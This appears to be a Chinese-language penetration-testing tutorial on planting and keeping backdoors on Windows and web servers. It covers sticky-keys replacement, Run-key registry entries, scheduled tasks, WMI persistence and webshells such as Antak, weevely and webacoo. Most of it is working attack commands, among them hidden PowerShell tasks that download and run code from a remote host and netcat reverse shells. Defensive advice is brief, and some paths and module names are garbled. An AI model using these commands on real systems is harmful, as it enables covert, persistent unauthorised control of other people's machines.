前言
专注是做事成功的关键,是健康心灵的特质。当你与所关注的事物融为一体时,就不会让自己萦绕于焦虑之中。专注与放松,是同一枚硬币的两面而已。一个人对一件事只有专注投入才会带来乐趣。一旦你专注投入进去,它立刻就变得活生生起来。
后门,本意就是指在建筑物的背面开设的门,通常比较隐蔽。在信息安全领域。后门是指通过绕过安全控制措施获取对程序或系统ti访问权限的方法。简单地说,后门就是一个留在目标主机上的软件,它可以使攻击者随时与目标主机 进行连接。在大多数连接下,后门是一个运行在目标主机上的隐藏进程。因为后门可能允许一个普通的、未经授权的用户控制计算机,所以攻击者经常使用后门来控制服务器。
一、操作系统后门分析与防范
操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。系统维护人员可以清除操作系统中的后门,以恢复目标系统安全控制体系的正规用户的认证过程。
1. 粘滞键后门
粘滞键后门是一种比较常见的持续控制方法。
在windows主机上连续按5次“shift”键,就可以调出粘滞键。windows的粘滞键主要是为无法同时按多个按键的用户设计的。例如,在使用组合的键“ctrl p“时,用户需要同时按下”ctrl“ ”p” 两个键,如果使用粘滞键来·实现组合键”ctrl p“的功能,用户只需要按一个键。
用可执行文件serhc.exe.bak 替换 windowssystem32 目录下的粘滞键可执行文件sethc.exe在Empire下也可以简单地实现这一功能。
输入“usemodulelateral_movemnet/invoke_wmi_debuggerinfo” 命令可以使用该模板,输入info命令可以查看具体的参数配置。
代码语言:javascript复制set Listener testx
set ComputerName WIN7-64.admin.testx
set TargetBinary sethc.exe
实验1:
第一步:设置管理员所有
这个实验极其简单,只需要做一点点小小的设置。首先找到sethc.exe
文件,然后点击属性,选择所有者,编辑,选择当前所有者为Administrator
。
第二步:全部勾选
让Administrator拥有完全控制权限,这样就可以对它进行改名字,或者删除。建议改名字,做完实验再改回来。
第三步:复制cmd.exe
复制一份cmd.exe文件,改名成sethc.exe,这样就大功告成了。
第四步:测试看看
可以在任何地方,任何时候,连续敲击5次「shift」,就会弹出cmd.exe
命令行窗口。
2.防范措施
针对粘滞键后门,可以采取如下防范措施
1.在远程登录服务器时,连续按5次“shift”键,判断服务器是否被入侵
2 注册表注入后门
在普通用户权限下,攻击者会将需要执行的后门程序或者脚本路径填写到注册表键HKCU:SoftwareMicrosoftWindowsCurrentVersionRun中(键名可以任意设置)。当管理员登录系统时,后门就会运行,服务端反弹成功。
实验环境:
服务端:Kali
客户端:Win7
建议:关闭杀毒软件,关闭防火墙,不然实验可能不成功
第一步:进入模块
进入这个agent(interact testx)
进入模块(usemodule persistence/userland/registry)
第二步:配置环境
下配置(set Name testx)
下配置(set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun)
第三步:重启电脑
第四步:测试看看
注册表注入后门防范措施
杀毒软件对此类后门有专门的查杀机制,当发现系统中存在后门时会弹出提示框。根据提示的内容,采取相应的措施,即可删除此类后门。
3. 计划任务后门
计划任务在Windows 7 及之前版本的操作系统中使用at命令调用,在从Windows 8 版本开始的操作系统中使用schtasks命令调用。计划任务的后门分为管理员权限和普通用户权限两种,管理员权限的后门可以设置更多的计划任务。
代码语言:javascript复制schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1
使用schtasks /delete /tn updater
即可删除.
1.在metsaploit中模拟计划任务后门
使用Metasploit的powershell Payload Delivery 模板,可以模拟攻击者在目标系统中快速建立会话的行为。因为该行为不会被写入磁盘,所以安全防护软件不会对该行为进行检测。
2.在目标系统中输入生成的后门代码,生成新的会话
3.目标机子访问网址,即可得到 session
4.拿到权限。
代码语言:javascript复制(1)用户登录
schtasks /create /tn WindowsUpdate /tr "c:windowssystem32powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onlogon /ru System
(2)系统启动
schtasks /create /tn WindowsUpdate /tr "c:windowssystem32powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onstart /ru System
(3)系统空闲
schtasks /create /tn WindowsUpdate /tr "c:windowssystem32powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring("http://10.1.1.16:8080/EYoBVHcTfv"))'" /sc onidle /i 1
2.在powersploit中模拟计划任务后门
使用PowerShell版本的PowerSploit渗透测试框架的Persistence模块,可以模拟生成一个自动创建计划任务的后门脚本上传到目标后,导入脚本
代码语言:javascript复制Import-Module .Persistence.psm1
如下命令,使用计划任务的方式创建后门。该后门会在计算机处于空闲状态时执行,执行成功后会生成名为Persistence.ps1
的脚本
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-Persistence -FilePath ./shuteer.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
Shutter.ps1是计划任务要执行的payload 可以执行如下生成该文件
3.在Empire中模拟计划任务后门
代码语言:javascript复制usemodule persistence/elevated/schtasks
代码语言:javascript复制set DailyTime 10.30
set Listener test
execute
4. WMi型后门
WMI型后门只能由具有管理员权限的用户运行。WMI型后门通常是用PowerShell扫描的可以直接从新的WMI属性中读取和执行后门代码、给代码能。通过这种方法,攻击者可以在系统中安装一个具有持久性的后门,且不会在系统中门外的任何文件。WMI 型后使用了 WMI 的两个特征,即无文件和无进程。其基本原理是:将代码存储存储于WMI中,达到要求的“无文件”;当设定的条件被满足时,系统将自动启动PowerShell进程去后门程序,执行后,进程将消失(持续根据后门的运行情况而定时间,一般是几秒)。帝国下的Invoke-WMI模块可以实现这种后门的利用。
WMI型后门主要利用了WMI的两个特征,即无文件和无进程。其基本原理为:将代码加密存储于WMI中,实现无文件;当设定的条件被满足时,系统将自动启动PowerShell进程去执行后门程序,执行后,进程将会消失,实现无进程。
可以使用Empire的Invoke-WMI模块,该模块允许完后,WMI后门就已经存在于目标主机,目标主机重启,后门即会触发。
实验:
1.首先开始提权
2.配置环境
进入模块(usemodule persistence/elevated/wmi)
基本上不要配置,直接 run运行(和 execute一样)
得到下面的提示,基本上就成功了一半
3.验证环境
进入目标机器上,验证wmi
在powershell中直接输入下面的命令
结果中可以看到 CommandLineTemlate中的内容包含 powershell.exe
代码语言:javascript复制Get-WMIObject -Namespace rootSubscription -Class CommandLineEventConsumer -Filter “Name=’Updater’”
4.重启目标机器
二、 web后门分析于防范
web后门俗称webshell,是一段asp,asp.NEt、 php、jsp 程序的网页代码。这些代码都运行在服务器上。攻击者会通过一段精心设计的代码,在服务器上进行一些危险的操做,以获去某些敏感的技术信息,或者通过渗透和提权来获得服务器的控制权。IDS、杀毒软件和安全工具一般都将攻击者设置的web后门检测出来。
1. NIShang下的webshell
Nishang是一款针对PowerShell的渗透测试工具,集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本)和各种Paylaod,广泛应用于渗透测试的各个阶段。
Nishang中也存在ASPX的大马。该模块在nishangAntak-WebShell目录下,使用该模块,可以进行编码、执行脚本、上传/下载文件等,
基本流程:
正向shell:客户端想要获得服务端的shell
先弹shell就是正向shell,后连接
先监听&弹shell(nc -lvp 23333 -e /bin/sh)
后连接(nc 192.168.160.140 23333)
-------
反向shell:服务端想要获得客户端的shell
后弹shell就是反向shell,先监听
先监听(nc -lvp 23333)
后客户端上线(nc 192.168.160.140 23333 -e /bin/sh)
实验环境:
服务端:windows7(testx@192.168.160.135)
客户端:windows7(testx@192.168.160.139)
代码语言:javascript复制Import-Module .nishang.psm1
生成payload
代码语言:javascript复制Invoke-PoshRatHttp -IPAddress 192.168.160.135 -Port 10101
代码语言:javascript复制powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.160.135:10101/connect'))
Nishang的webshell(Antak)
将Nishang的antak.aspx文件,放在ISS网站中
然后访问网站中的antak.aspx文件(出现登陆页面)
Nishang的antak用户名:Disclaimer
Nishang的antak密码:ForLegitUseOnly
这个人很贼,全网都找不到密码,无奈之下翻看这个apsx文件
在注释里面找到用户名和密码,果然需要黑客思维才能破局
结果用户名是:免责声明,密码是:仅供合法使用的英文
登陆成功,进入欢迎页面
antak.aspx本身就是webshell文件
输入help,可以得到帮助信息
输入ls,可以查看网站的目录结构
也就是说我们已经拿到网站的权限了
点击download,可以下载网站的重要文件
点击upload the file,可以上传木马文件
2 weevely后门
weevely是一款用Python语言编写的针对PHP平台的WebShell,主要功能有:
执行命令和浏览远程文件
检测常见的服务器配置问题
创建TCP shell和Reverse Shell
扫描端口
安装HTTP代理
1.基本用法
2.常见命令
代码语言:javascript复制weevely [cmd]:连接一句话木马
weevely session [cmd]:加载会话文件
weevely generate :生成后门代理
代码语言:javascript复制1.weevely generate test /root/桌面/test.php
1.实验
2.访问一下。
3.使用weevely命令进行连接。
代码语言:javascript复制weevely http://192.168.1.2/test/test.php test
补充:
代码语言:javascript复制一些常用命令及功能:
• audit_phpconf:审计PHP配置文件
• audit_suidsgid:通过SUID和SGID查找文件
• audit_filesystem:用户进行错误权限审计的系统文件
• audit_etcpasswd:通过其它方式获取的密码
• shell_php:执行PHP命令
• shell_sh:执行shell命令
• shell_su:利用su命令提权
• system_extensions:收集PHP和Web服务器的延伸列表
• system_info:收集系统信息
• backdoor_tcp:在TCP端口出生成一个后门
• sql_dump:导出数据表
• sql_console:执行SQL查询命令或者启动控制台
• net_ifconfig:获取目标网络的地址
• net_proxy:通过本地HTTP端口设置代理
• net_scan:扫描TCP端口
• net_curl:远程执行HTTP请求
• net_phpproxy:在目标系统中安装PHP代理
3.webbacoo后门
webacoo(Web Backdoor Cookie)
是一款针对PHP平台的We后门工具,最新版已去除,老版本的kali自带
webacoo -h
webacoo -g -o /home/x/xx.php
查看生成的php后门
将生成的后门文件上传到目标服务器后使用如下命令连接webshell,
连接成功后,可以使用load
命令查看模块,并可以进行上传、下载、连接数据库等操作,exit
退出
webacoo -t -u http://127.0.0.1/test.php
总结
后门是权限维持的重要一步,要想持续控制,就得做一些后门上去,后门是绕过安全控制获取对程序或系统访问权限的方法。此篇文章主要介绍一些常用的生成后门的方式,以及如何进行防御后门。